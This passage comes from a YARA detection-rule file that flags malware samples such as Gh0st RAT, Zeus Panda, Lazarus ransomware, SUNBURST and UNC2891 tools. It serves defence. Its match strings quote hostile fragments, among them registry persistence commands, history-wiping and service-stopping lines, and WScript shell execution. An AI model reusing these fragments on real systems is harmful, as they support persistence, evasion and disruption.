		$s2 = /<soap:address location="http[s]?:\/\/[^"]{8,140}mshta.exe"/ ascii wide

	condition:
		( filesize < 200KB and 1 of them )
}

rule CVE_2017_8759_WSDL_in_RTF
{
	meta:
		description = "Detects malicious RTF file related CVE-2017-8759"
		author = "Security Doggo @xdxdxdxdoa"
		reference = "https://twitter.com/xdxdxdxdoa/status/908665278199996416"
		date = "2017-09-15"
		id = "daaa5489-af96-5a69-b2dd-81406c0a1edc"

	strings:
		$doc = "d0cf11e0a1b11ae1"
		$obj = "\\objupdate"
		$wsdl = "7700730064006c003d00" nocase
		$http1 = "68007400740070003a002f002f00" nocase
		$http2 = "680074007400700073003a002f002f00" nocase
		$http3 = "6600740070003a002f002f00" nocase

	condition:
		uint32be( 0 ) == 0x7B5C7274 and $obj and $doc and $wsdl and 1 of ( $http* )
}

rule Zeus_Panda
{
	meta:
		description = "Detects ZEUS Panda Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf"
		date = "2017-08-04"
		hash1 = "bd956b2e81731874995b9b92e20f75dbf67ac5f12f9daa194525e1b673c7f83c"
		id = "2786b1e0-37af-5595-a24b-56ef3cb928a7"

	strings:
		$x1 = "SER32.dll" fullword ascii
		$x2 = "/c start \"\" \"%s\"" fullword wide
		$x3 = "del /F \"%s\"" fullword ascii
		$s1 = "bcdfghklmnpqrstvwxz" fullword ascii
		$s2 = "=> -,0;" fullword ascii
		$s3 = "Yahoo! Slurp" fullword ascii
		$s4 = "ZTNHGET ^&" fullword ascii
		$s5 = "MSIE 9" fullword ascii
		$s6 = "%s%08x.%s" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and ( 2 of ( $x* ) or 4 of them )
}

rule GhostDragon_Gh0stRAT
{
	meta:
		description = "Detects Gh0st RAT mentioned in Cylance' Ghost Dragon Report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blog.cylance.com/the-ghost-dragon"
		date = "2016-04-23"
		hash1 = "f9a669d22866cd041e2d520c5eb093188962bea8864fdfd0c0abb2b254e9f197"
		hash2 = "99ee5b764a5db1cb6b8a4f62605b5536487d9c35a28a23de8f9174659f65bcb2"
		hash3 = "6c7f8ba75889e0021c4616fcbee86ac06cd7f5e1e355e0cbfbbb5110c08bb6df"
		hash4 = "b803381535ac24ce7c8fdcf6155566d208dfca63fd66ec71bbc6754233e251f5"
		id = "a74330ab-5249-5125-8f48-27aec7c6eeb4"

	strings:
		$x1 = "REG ADD HKEY_LOCAL_MACHINE\\%s /v ServiceDll /t REG_EXPAND_SZ /d \"%s\"" fullword ascii
		$x2 = "Global\\REALCHEL_GLOBAL_SUBMIT_20031020_" ascii
		$x3 = "\\xclolg2.tmp" ascii
		$x4 = "Http/1.1 403 Forbidden" fullword ascii
		$x5 = "%sxsd%d.pif" fullword ascii
		$x6 = "%s\\%s32.dl_" ascii
		$x7 = "%-23s %-16s  0x%x(%02d)" fullword ascii
		$x8 = "RegSetValueEx(start)" fullword ascii
		$x9 = "%s\\%s64.dl_" ascii
		$s1 = "viewsc.dll" fullword ascii
		$s2 = "Proxy-Connection:   Keep-Alive" fullword ascii
		$s3 = "\\sfc_os.dll" ascii
		$s4 = "Mozilla/4.0 (compatible)" fullword ascii
		$s5 = "Http/1.1 403 Forbidden" fullword ascii
		$s6 = "CONNECT   %s:%d   HTTP/1.1" fullword ascii
		$s7 = "WindowsUpperVersion" fullword ascii
		$s8 = "[%d-%d-%d %d:%d:%d] (%s)" fullword ascii
		$s9 = "SOFTWARE\\Microsoft\\DataAccess\\%s" fullword ascii
		$s10 = "%s sp%d(%d)" fullword ascii
		$s11 = "OpenSC ERROR " fullword ascii
		$s12 = "get rgspath error " fullword ascii
		$s13 = "Global\\GLOBAL_SUBMIT_0234_" ascii
		$s14 = "Global\\_vc_ck_ %d" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 500KB and ( 1 of ( $x* ) or 4 of ( $s* ) ) ) or ( 6 of them )
}

rule GhostDragon_Gh0stRAT_Sample2
{
	meta:
		description = "Detects Gh0st RAT mentioned in Cylance' Ghost Dragon Report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blog.cylance.com/the-ghost-dragon"
		date = "2016-04-23"
		hash1 = "71a52058f6b5cef66302c19169f67cf304507b4454cca83e2c36151da8da1d97"
		id = "424cb978-c4d1-5847-8852-e25ec2a02139"

	strings:
		$x1 = "AdobeWpk" fullword ascii
		$x2 = "seekin.dll" fullword ascii
		$c1 = "Windows NT 6.1; Trident/6.0)" fullword ascii
		$c2 = "Mozilla/5.0 (compatible; MSIE 10.0; " fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 80KB and ( all of ( $x* ) or all of ( $c* ) ) ) or ( all of them )
}

rule GhostDragon_Gh0stRAT_Sample3
{
	meta:
		description = "Detects Gh0st RAT mentioned in Cylance' Ghost Dragon Report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blog.cylance.com/the-ghost-dragon"
		date = "2016-04-23"
		hash1 = "1be9c68b31247357328596a388010c9cfffadcb6e9841fb22de8b0dc2d161c42"
		id = "6d4bb99d-28de-59c2-b6f0-6da3cac4ed73"

	strings:
		$op1 = { 44 24 15 65 88 54 24 16 c6 44 24 }
		$op2 = { 44 24 1b 43 c6 44 24 1c 75 88 54 24 1e }
		$op3 = { 1e 79 c6 44 24 1f 43 c6 44 24 20 75 88 54 24 22 }

	condition:
		all of them
}

rule APT_fnv1a_plus_extra_XOR_in_MSIL_experimental
{
	meta:
		description = "This rule detects the specific MSIL implementation of fnv1a of the SUNBURST backdoor (standard fnv1a + one final XOR before RET) independent of the XOR-string. (fnv64a_offset and fnv64a_prime are standard constants in the fnv1a hashing algorithm.)"
		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
		author = "Arnim Rupp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		date = "2020-12-22"
		hash1 = "32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77"
		hash2 = "ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6"
		hash3 = "019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134"
		id = "5505f7ff-eca5-5274-bdd1-dbbd648c3ccc"

	strings:
		$fnv64a_offset = { 25 23 22 84 e4 9c f2 cb }
		$fnv64a_prime_plus_gap_plus_xor_ret = { B3 01 00 00 00 01 [8-40] 61 2A 00 00 }

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule APT_MAL_NK_Lazarus_VHD_Ransomware_Oct20_1
{
	meta:
		description = "Detects Lazarus VHD Ransomware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/"
		date = "2020-10-05"
		hash1 = "52888b5f881f4941ae7a8f4d84de27fc502413861f96ee58ee560c09c11880d6"
		hash2 = "5e78475d10418c6938723f6cfefb89d5e9de61e45ecf374bb435c1c99dd4a473"
		hash3 = "6cb9afff8166976bd62bb29b12ed617784d6e74b110afcf8955477573594f306"
		id = "5cb3c136-ec5c-5596-8dcc-e4c6ef33050a"

	strings:
		$s1 = "HowToDecrypt.txt" wide fullword
		$s2 = "rsa.cpp" wide fullword
		$s3 = "sc stop \"Microsoft Exchange Compliance Service\"" ascii fullword
		$op1 = { 8b 8d bc fc ff ff 8b 94 bd 34 03 00 00 33 c0 50 }
		$op2 = { 8b 8d 98 f9 ff ff 8d 64 24 00 8b 39 3b bc 85 34 }
		$op3 = { 8b 94 85 34 03 00 00 89 11 40 83 c1 04 3b 06 7c }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and 2 of them
}

rule APT_MAL_NK_Lazarus_VHD_Ransomware_Oct20_2
{
	meta:
		description = "Detects Lazarus VHD Ransomware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/"
		date = "2020-10-05"
		hash1 = "097ca829e051a4877bca093cee340180ff5f13a9c266ad4141b0be82aae1a39b"
		hash2 = "73a10be31832c9f1cbbd798590411009da0881592a90feb472e80025dfb0ea79"
		id = "b75668de-93e6-57e7-90f0-fa335295be7c"

	strings:
		$op1 = { f9 36 88 08 8d ad fc ff ff ff 66 ff c1 e9 72 86 }
		$op2 = { c6 c4 58 0f a4 c8 12 8d ad ff ff ff ff 0f b6 44 }
		$op3 = { 88 02 66 c1 f0 54 8d bf fc ff ff ff 0f ba e0 19 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 9000KB and all of them
}

rule SUSP_ELF_LNX_UPX_Compressed_File
{
	meta:
		description = "Detects a suspicious ELF binary with UPX compression"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-12-12"
		score = 40
		hash1 = "038ff8b2fef16f8ee9d70e6c219c5f380afe1a21761791e8cbda21fa4d09fdb4"
		id = "078937de-59b3-538e-a5c3-57f4e6050212"

	strings:
		$s1 = "PROT_EXEC|PROT_WRITE failed." fullword ascii
		$s2 = "$Id: UPX" fullword ascii
		$s3 = "$Info: This file is packed with the UPX executable packer" ascii
		$fp1 = "check your UCL installation !"

	condition:
		uint16( 0 ) == 0x457f and filesize < 2000KB and filesize > 30KB and 2 of ( $s* ) and not 1 of ( $fp* )
}

rule Unspecified_Malware_Oct16_A
{
	meta:
		description = "Detects an unspecififed malware - October 2016"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2016-10-08"
		score = 80
		hash1 = "d112a7e21902287e4a37112bf17d7c73a7b206e7bc81780fd87991c1519f38c8"
		id = "f62ecf7e-2b66-5567-9bf3-3d3797bc582d"

	strings:
		$x1 = "%s\\system32\\%s.dll" fullword ascii
		$x2 = "%SystemRoot%\\System32\\svch%s -k nets" fullword ascii
		$x3 = "\\\\.\\pipe\\96DBA249-E88E-4c47-98DC-E18E6E3E3E5A" fullword ascii
		$s1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options" fullword ascii
		$s2 = "boottemp.exe" fullword ascii
		$s3 = "at \\\\%s %d:%d C:\\%s.exe" fullword ascii
		$s4 = "cryptcom.dll" fullword ascii
		$s5 = "Wininet.dll" fullword ascii
		$s6 = "\\\\%s\\%s\\%s.exe" fullword ascii
		$s7 = "%s%d.exe" fullword ascii
		$s8 = "booter.exe" fullword ascii
		$s9 = "\\\\%s\\pipe%s" fullword ascii
		$s10 = "C:\\DelInfo.bin" fullword ascii
		$op0 = { ae 44 00 00 cb 44 00 00 dc 44 00 00 f5 44 00 00 }
		$op1 = { ae 44 00 00 cb 44 00 00 dc 44 00 00 f5 44 00 00 }
		$op2 = { ee 11 74 cf 73 0b 91 c4 c9 57 b2 d9 36 86 a5 b4 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( 2 of ( $x* ) or 3 of ( $s* ) or all of ( $op* ) ) ) or ( 6 of them )
}

rule Sality_Malware_Oct16
{
	meta:
		description = "Detects an unspecififed malware - October 2016"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2016-10-08"
		score = 80
		hash1 = "8eaff5e1d4b55dd6e25f007549271da10afd1fa25064d7105de0ca2735487aad"
		id = "7bf2a818-f7ee-587e-b22e-b557251d89e1"

	strings:
		$s1 = "Hello world!" fullword wide
		$s2 = "[LordPE]" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them )
}

rule Unspecified_Malware_Oct16_C
{
	meta:
		description = "Detects an unspecififed malware - October 2016"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2016-10-08"
		score = 80
		hash1 = "a451157f75627b2fef3d663946c94ef7dacb58f08b31d0ec4c0a542a1c4e6205"
		id = "fff98097-a19a-59aa-bece-837c75b0995c"

	strings:
		$s1 = "dUSER32.DLL" fullword wide
		$s2 = "output.dll" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 5000KB and all of them )
}

rule Bladabindi_Malware_B64
{
	meta:
		description = "Detects Bladabindi Malware using Base64 encoded strings"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2016-10-08"
		hash1 = "dda668b0792b7679979e61f2038cf9a8ec39415cc161be00d2c8301e7d48768d"
		id = "7f7023be-b6e1-5e1b-af8a-c413a5438ec8"

	strings:
		$s1 = "XHN5c3RlbTMyXA==" fullword ascii
		$s2 = "RXhlY3V0ZSBFUlJPUg==" fullword ascii
		$s3 = "dHJvamFuLmV4ZQ==" fullword ascii
		$s4 = "VXBkYXRlIEVSUk9S" fullword ascii
		$s5 = "RG93bmxvYWQgRVJST1I=" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 700KB and 1 of them
}

rule Dorkbot_Injector_Malware
{
	meta:
		description = "Detects Darkbot Injector"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2016-10-08"
		hash1 = "bc3c5ac7180c8ac21d6908d747aa6122154d2bb51bb99ff0e0b1c65088d275dc"
		id = "b32986fe-d6f1-55f2-8d50-bc348b52fb49"

	strings:
		$s1 = "Enter an integer, a real number, a character and a string : " fullword ascii
		$s2 = "ready to finish" fullword ascii
		$s3 = "EYEnpw" fullword ascii
		$s4 = "somewhere i belong" fullword ascii
		$s5 = "Not all fields were assigned" fullword ascii
		$s6 = "take down" fullword ascii
		$s7 = "real number = %f" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 500KB and 6 of them )
}

rule Unspecified_Malware_Oct16_D
{
	meta:
		description = "Detects unspecified malware - October 2016"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2016-10-08"
		hash1 = "cd5f3bc0176a6803093ffdea6a7442c416e0d2945b6903063d17f5bb8d17519d"
		id = "6908467c-1ed6-508d-9503-246dd26823e5"

	strings:
		$s1 = "C:\\file.exe" fullword wide
		$s2 = "new.exe" fullword wide
		$s3 = "passwordIterations" fullword ascii
		$op0 = { 10 00 12 00 1a 00 05 00 01 00 01 00 01 00 10 00 }
		$op1 = { 41 32 00 36 00 62 00 34 00 32 00 65 00 37 00 62 }
		$op2 = { 3c 4d 6f 64 75 6c 65 3e 00 6e 65 77 2e 65 78 65 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( all of ( $s* ) or all of ( $op* ) )
}

rule Unspecified_Malware_Oct16_E
{
	meta:
		description = "Detects unspecified Malware - October 2016"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2016-10-08"
		hash1 = "28093385130b61f22920c0ce6e56de1f2cd8eef589bebe2af31f36f51f2b4d01"
		id = "fffffe0c-e114-5648-96ea-dd692610e34c"

	strings:
		$s1 = "P3pORt" fullword ascii
		$s2 = "msdownld.tmp" fullword ascii
		$s3 = "TMP4351$.TMP" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them )
}

rule MAL_UNC2891_Caketap
{
	meta:
		description = "Detects UNC2891 Rootkit Caketap"
		author = "Frank Boldewin (@r3c0nst)"
		date = "2022-03-30"
		reference = "https://github.com/fboldewin/YARA-rules/tree/master"
		id = "9c2ffe3d-69ca-5f93-bdb1-40e449139dec"

	strings:
		$str1 = ".caahGss187" ascii fullword
		$str2 = "ipstat" ascii
		$code1 = {41 80 7E 06 4B 75 ?? 41 80 7E 07 57 75 ?? 41 0F B6 46 2B}
		$code2 = {41 C6 46 01 3D 41 C6 46 08 32}

	condition:
		uint32( 0 ) == 0x464c457f and ( all of ( $code* ) or ( all of ( $str* ) and #str2 == 2 ) )
}

rule MAL_UNC2891_Slapstick
{
	meta:
		description = "Detects UNC2891 Slapstick pam backdoor"
		author = "Frank Boldewin (@r3c0nst), slightly modifier by Florian Roth"
		date = "2022-03-30"
		modified = "2023-01-05"
		reference = "https://github.com/fboldewin/YARA-rules/tree/master"
		hash1 = "9d0165e0484c31bd4ea467650b2ae2f359f67ae1016af49326bb374cead5f789"
		id = "eb5db507-ac12-5c11-9dd9-ec34b9a80e1c"

	strings:
		$code1 = {F6 50 04 48 FF C0 48 39 D0 75 F5}
		$code2 = {88 01 48 FF C1 8A 11 89 C8 29 F8 84 D2 0F 85}
		$str1 = "/proc/self/exe" fullword ascii
		$str2 = "%-23s %-23s %-23s %-23s %-23s %s" fullword ascii
		$str3 = "pam_sm_authenticate" ascii
		$str_fr1 = "HISTFILE=/dev/null"

	condition:
		uint32( 0 ) == 0x464c457f and filesize < 100KB and ( all of ( $code* ) or all of ( $str* ) )
}

rule MAL_UNC2891_Steelcorgi
{
	meta:
		description = "Detects UNC2891 Steelcorgi packed ELF binaries"
		author = "Frank Boldewin (@r3c0nst)"
		date = "2022-03-30"
		reference = "https://github.com/fboldewin/YARA-rules/tree/master"
		hash1 = "0760cd30d18517e87bf9fd8555513423db1cd80730b47f57167219ddbf91f170"
		hash2 = "3560ed07aac67f73ef910d0b928db3c0bb5f106b5daee054666638b6575a89c5"
		hash3 = "5b4bb50055b31dbd897172583c7046dd27cd03e1e3d84f7a23837e8df7943547"
		id = "94da7da5-5fc3-5221-97d6-1854aa7b1959"

	strings:
		$pattern1 = {70 61 64 00 6C 63 6B 00}
		$pattern2 = {FF 72 FF 6F FF 63 FF 2F FF 73 FF 65 FF 6C FF 66 FF 2F FF 65 FF 78 FF 65}

	condition:
		uint32( 0 ) == 0x464c457f and all of them
}

rule MAL_UNC2891_Winghook
{
	meta:
		description = "Detects UNC2891 Winghook Keylogger"
		author = "Frank Boldewin (@r3c0nst)"
		date = "2022-03-30"
		reference = "https://github.com/fboldewin/YARA-rules/tree/master"
		hash1 = "d071ee723982cf53e4bce89f3de5a8ef1853457b21bffdae387c4c2bd160a38e"
		id = "e5955fa0-8204-58e3-88a6-de4b47756ede"

	strings:
		$code1 = {01 F9 81 E1 FF 00 00 00 41 89 CA [15] 44 01 CF 81 E7 FF 00 00 00}
		$code2 = {83 E2 0F 0F B6 14 1? 32 14 01 88 14 0? 48 83 ?? ?? 48 83 ?? ?? 75}
		$str1 = "fgets" ascii
		$str2 = "read" ascii

	condition:
		uint32( 0 ) == 0x464c457f and filesize < 100KB and 1 of ( $code* ) and all of ( $str* )
}

rule APT_Thrip_Sample_Jun18_1
{
	meta:
		description = "Detects sample found in Thrip report by Symantec "
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
		date = "2018-06-21"
		hash1 = "59509a17d516813350fe1683ca6b9727bd96dd81ce3435484a5a53b472ff4ae9"
		id = "5b506069-8185-5dc0-bf64-90646f6bab6b"

	strings:
		$s1 = "idocback.dll" fullword ascii
		$s2 = "constructor or from DllMain." fullword ascii
		$s3 = "appmgmt" fullword ascii
		$s4 = "chksrv" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule APT_Thrip_Sample_Jun18_2
{
	meta:
		description = "Detects sample found in Thrip report by Symantec "
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
		date = "2018-06-21"
		hash1 = "1fc9f7065856cd8dc99b6f46cf0953adf90e2c42a3b65374bf7b50274fb200cc"
		id = "bc1cfcc8-64a0-5da0-8ff7-147da8a3af0b"

	strings:
		$s1 = "C:\\WINDOWS\\system32\\sysprep\\cryptbase.dll" fullword ascii
		$s2 = "ProbeScriptFint" fullword wide
		$s3 = "C:\\WINDOWS\\system32\\cmd.exe" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 60KB and all of them
}

rule APT_Thrip_Sample_Jun18_3
{
	meta:
		description = "Detects sample found in Thrip report by Symantec "
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
		date = "2018-06-21"
		hash1 = "0d2abdcaad99e102fdf6574b3dc90f17cb9d060c20e6ac4ff378875d3b91a840"
		id = "67ea7ed1-954f-5b3e-b058-452be3b6fdfa"

	strings:
		$s1 = "C:\\Windows\\SysNative\\cmd.exe" fullword ascii
		$s2 = "C:\\Windows\\SysNative\\sysprep\\cryptbase.dll" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 60KB and all of them
}

rule APT_Thrip_Sample_Jun18_4
{
	meta:
		description = "Detects sample found in Thrip report by Symantec "
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
		date = "2018-06-21"
		hash1 = "6b236d3fc54d36e6dc2a26299f6ded597058fed7c9099f1a37716c5e4b162abc"
		id = "9dcfcdbd-d18f-5eba-a10c-95686f010f23"

	strings:
		$s1 = "\\system32\\wbem\\tmf\\caches_version.db" ascii
		$s2 = "ProcessName No Access" fullword ascii
		$s3 = "Hwnd of Process NULL" fullword ascii
		$s4 = "*********The new session is be opening:(%d)**********" fullword ascii
		$s5 = "[EXECUTE]" fullword ascii
		$s6 = "/------------------------------------------------------------------------" fullword ascii
		$s7 = "constructor or from DllMain." fullword ascii
		$s8 = "Time:%d-%d-%d %d:%d:%d" fullword ascii
		$s9 = "\\info.config" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and 5 of them
}

rule APT_Thrip_Sample_Jun18_5
{
	meta:
		description = "Detects sample found in Thrip report by Symantec "
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
		date = "2018-06-21"
		hash1 = "32889639a27961497d53176765b3addf9fff27f1c8cc41634a365085d6d55920"
		id = "42c56ed6-a509-568f-a611-ce7e5c5d9d8e"

	strings:
		$s2 = "c:\\windows\\USBEvent.exe" fullword ascii
		$s5 = "c:\\windows\\spdir.dat" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule APT_Thrip_Sample_Jun18_6
{
	meta:
		description = "Detects sample found in Thrip report by Symantec "
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
		date = "2018-06-21"
		hash1 = "44f58496578e55623713c4290abb256d03103e78e99939daeec059776bd79ee2"
		id = "a1c65bc1-371e-509f-a01c-2d58c1773f95"

	strings:
		$s1 = "C:\\Windows\\system32\\Instell.exe" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and 1 of them
}

rule APT_Thrip_Sample_Jun18_7
{
	meta:
		description = "Detects sample found in Thrip report by Symantec "
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
		date = "2018-06-21"
		hash1 = "6b714dc1c7e58589374200d2c7f3d820798473faeb26855e53101b8f3c701e3f"
		id = "16739590-eb88-5de2-bd76-974b3343ec19"

	strings:
		$s1 = "C:\\runme.exe" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 60KB and 1 of them
}

rule APT_Thrip_Sample_Jun18_8
{
	meta:
		description = "Detects sample found in Thrip report by Symantec "
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
		date = "2018-06-21"
		hash1 = "0f2d09b1ad0694f9e71eeebec5b2d137665375bf1e76cb4ae4d7f20487394ed3"
		id = "5eb98c9e-5103-5146-9364-d5f24416406f"

	strings:
		$x1 = "$.oS.Run('cmd.exe /c '+a+'" fullword ascii
		$x2 = "new $._x('WScript.Shell');" ascii
		$x3 = ".ExpandEnvironmentStrings('%Temp%')+unescape('" ascii

	condition:
		filesize < 10KB and 1 of ( $x* )
}

import "pe"

rule APT_Thrip_Sample_Jun18_9
{
	meta:
		description = "Detects sample found in Thrip report by Symantec "
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
		date = "2018-06-21"
		hash1 = "8e6682bcc51643f02a864b042f7223b157823f3d890fe21d38caeb43500d923e"
		hash2 = "0c8ca0fd0ec246ef207b96a3aac5e94c9c368504905b0a033f11eef8c62fa14c"
		hash3 = "6d0a2c822e2bc37cc0cec35f040d3fec5090ef2775df658d3823e47a93a5fef3"
		hash4 = "0c49d1632eb407b5fd0ce32ed45b1c783ac2ef60d001853ae1f6b7574e08cfa9"
		id = "7fcd8d7f-ed60-5155-a0dd-f3a36f3f2981"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and ( pe.imphash ( ) == "a7f0714e82b3105031fa7bc89dfe7664" or pe.imphash ( ) == "8812ff21aeb160e8800257140acae54b" or pe.imphash ( ) == "44a1e904763fe2d0837c747c7061b010" or pe.imphash ( ) == "51a854d285aa12eb82e76e6e1be01573" or pe.imphash ( ) == "a1f457c8c549c5c430556bfe5887a4e6" )
}

rule APT_Thrip_Sample_Jun18_10
{
	meta:
		description = "Detects sample found in Thrip report by Symantec "
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
		date = "2018-06-21"
		hash1 = "350d2a6f8e6a4969ffbf75d9f9aae99e7b3a8cd8708fd66f977e07d7fbf842e3"
		id = "3307ca18-59fb-5400-b51e-c4f4aa99e592"

	strings:
		$x1 = "!This Program cannot be run in DOS mode." fullword ascii
		$x2 = "!this program cannot be run in dos mode." fullword ascii
		$s1 = "svchost.dll" fullword ascii
		$s2 = "constructor or from DllMain." fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and ( $x1 or 2 of them )
}

import "pe"

rule APT_Thrip_Sample_Jun18_11
{
	meta:
		description = "Detects sample found in Thrip report by Symantec "
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
		date = "2018-06-21"
		hash1 = "590a6796b97469f8e6977832a63c0964464901f075a9651f7f1b4578e55bd8c8"
		id = "69476f7d-c436-5863-bf20-1d3e821974e6"

	strings:
		$s1 = "\\AppData\\Local\\Temp\\dw20.EXE" ascii
		$s2 = "C:\\Windows\\system32\\sysprep\\cryptbase.dll" fullword ascii
		$s3 = "WFQNJMBWF" fullword ascii
		$s4 = "SQLWLWZSF" fullword ascii
		$s5 = "PFQUFQSBPP" fullword ascii
		$s6 = "WQZXQFPVOW" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and ( pe.imphash ( ) == "6eef4394490378f32d134ab3bf4bf194" or all of them )
}

rule APT_Thrip_Sample_Jun18_12
{
	meta:
		description = "Detects sample found in Thrip report by Symantec "
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
		date = "2018-06-21"
		hash1 = "33c01d3266fe6a70e8785efaf10208f869ae58a17fd9cdb2c6995324c9a01062"
		id = "b24b8042-b6a3-5af8-9fcf-6d042bdb9524"

	strings:
		$s1 = "pGlobal->nOSType==64--%s\\cmd.exe %s" fullword ascii
		$s2 = "httpcom.log" fullword ascii
		$s3 = "\\CryptBase.dll" ascii
		$s4 = "gupdate.exe" fullword ascii
		$s5 = "wusa.exe" fullword ascii
		$s6 = " %s %s /quiet /extract:%s\\%s\\" ascii
		$s7 = "%s%s.dll.cab" fullword ascii
